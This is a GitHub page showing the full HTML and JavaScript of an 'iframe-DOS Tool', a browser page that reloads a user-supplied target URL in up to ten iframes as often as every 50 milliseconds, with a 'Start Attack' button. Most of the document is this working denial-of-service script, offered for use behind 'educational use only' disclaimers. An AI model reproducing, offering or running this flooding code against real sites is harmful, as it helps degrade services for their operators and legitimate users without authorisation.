-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathindex.html
More file actions
187 lines (165 loc) · 5.37 KB
/
index.html
File metadata and controls
187 lines (165 loc) · 5.37 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>iframe-DOS Tool</title>
<meta name="description" content="A browser-based tool to simulate a DoS attack by refreshing a target URL in multiple iframes. For educational use only.">
<link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='.9em' font-size='90'>🖼️</text></svg>">
<style>
body {
font-family: Arial, sans-serif;
text-align: center;
background: #f2f2f2;
padding: 2rem;
}
h1 {
color: #444;
}
.input-group {
margin: 1rem 0;
}
input[type="text"],
input[type="number"] {
padding: 0.5rem;
width: 250px;
margin: 0.5rem;
border-radius: 4px;
border: 1px solid #ccc;
}
input[type="button"] {
padding: 0.6rem 1.2rem;
background-color: #3498db;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
input[type="button"]:hover {
background-color: #2980b9;
}
#iframeContainer {
display: flex;
justify-content: center;
gap: 1rem;
margin-top: 2rem;
flex-wrap: wrap;
}
iframe {
border: 3px solid #ccc;
border-radius: 6px;
transition: border-color 0.3s ease;
}
.active-frame {
border-color: #e74c3c;
}
#log {
margin-top: 1rem;
font-size: 0.9rem;
color: #555;
white-space: pre-line;
}
</style>
</head>
<body>
<h1>iframe-DOS Tool</h1>
<p>For testing and educational purposes only.</p>
<form class="input-group" onsubmit="return false;">
<label for="url">Target URL:</label>
<input type="text" id="url" placeholder="Target URL (e.g., http://example.com)" aria-label="Target URL">
<label for="time">Refresh interval (min 50ms):</label>
<input type="number" id="time" value="125" min="50" placeholder="Refresh interval (min 50ms)" aria-label="Refresh interval">
<label for="frames">Number of iframes:</label>
<input type="number" id="frames" value="3" min="1" max="10" placeholder="Number of iframes" aria-label="Number of iframes">
<input type="button" id="toggleBtn" value="Start Attack">
</form>
<div id="iframeContainer"></div>
<div id="log"></div>
<script>
let isRunning = false;
let intervalId;
let countdownIds = [];
let activeIndex = 0;
function logMessage(message) {
const log = document.getElementById("log");
log.textContent = `[${new Date().toLocaleTimeString()}] ${message}`;
}
function clearFrames() {
clearInterval(intervalId);
countdownIds.forEach(id => clearInterval(id));
countdownIds = [];
document.getElementById("iframeContainer").innerHTML = "";
}
function isValidUrl(url) {
try {
new URL(url);
return true;
} catch {
return false;
}
}
function run() {
const url = document.getElementById("url").value.trim();
const interval = parseInt(document.getElementById("time").value, 10);
const frameCount = parseInt(document.getElementById("frames").value, 10);
if (!isValidUrl(url) || isNaN(interval) || interval < 50) {
alert("Please enter a valid URL (http/https) and minimum refresh time of 50ms.");
return;
}
if (frameCount < 1 || frameCount > 10) {
alert("Iframe count must be between 1 and 10.");
return;
}
clearFrames();
const container = document.getElementById("iframeContainer");
for (let i = 0; i < frameCount; i++) {
const iframe = document.createElement("iframe");
iframe.width = "300";
iframe.height = "250";
iframe.sandbox = "allow-scripts allow-same-origin";
iframe.id = `frame-${i}`;
iframe.setAttribute('referrerpolicy', 'no-referrer');
iframe.setAttribute('loading', 'lazy');
iframe.setAttribute('title', `Target iframe ${i+1}`);
container.appendChild(iframe);
}
// Setup visual refresh loop
intervalId = setInterval(() => {
const iframes = document.querySelectorAll("iframe");
iframes.forEach((frame, index) => {
frame.src = url;
frame.classList.remove("active-frame");
});
iframes[activeIndex % iframes.length].classList.add("active-frame");
activeIndex++;
logMessage(`${url} refreshed on all ${iframes.length} iframes.`);
}, interval);
// Setup countdown
const iframes = document.querySelectorAll("iframe");
iframes.forEach((frame, i) => {
let counter = interval / 1000;
const id = setInterval(() => {
counter -= 0.1;
frame.title = `Refreshing in ${counter.toFixed(1)}s`;
if (counter <= 0) counter = interval / 1000;
}, 100);
countdownIds.push(id);
});
}
document.getElementById("toggleBtn").onclick = function () {
if (!isRunning) {
run();
this.value = "Stop Attack";
isRunning = true;
} else {
clearFrames();
logMessage("Attack stopped.");
this.value = "Start Attack";
isRunning = false;
}
};
</script>
<footer style="margin-top:2rem;font-size:0.85rem;color:#888;">
<strong>Security note:</strong> Iframes use sandboxing and do not bypass CORS or X-Frame-Options. For legal, educational use only.
</footer>
</body>
</html>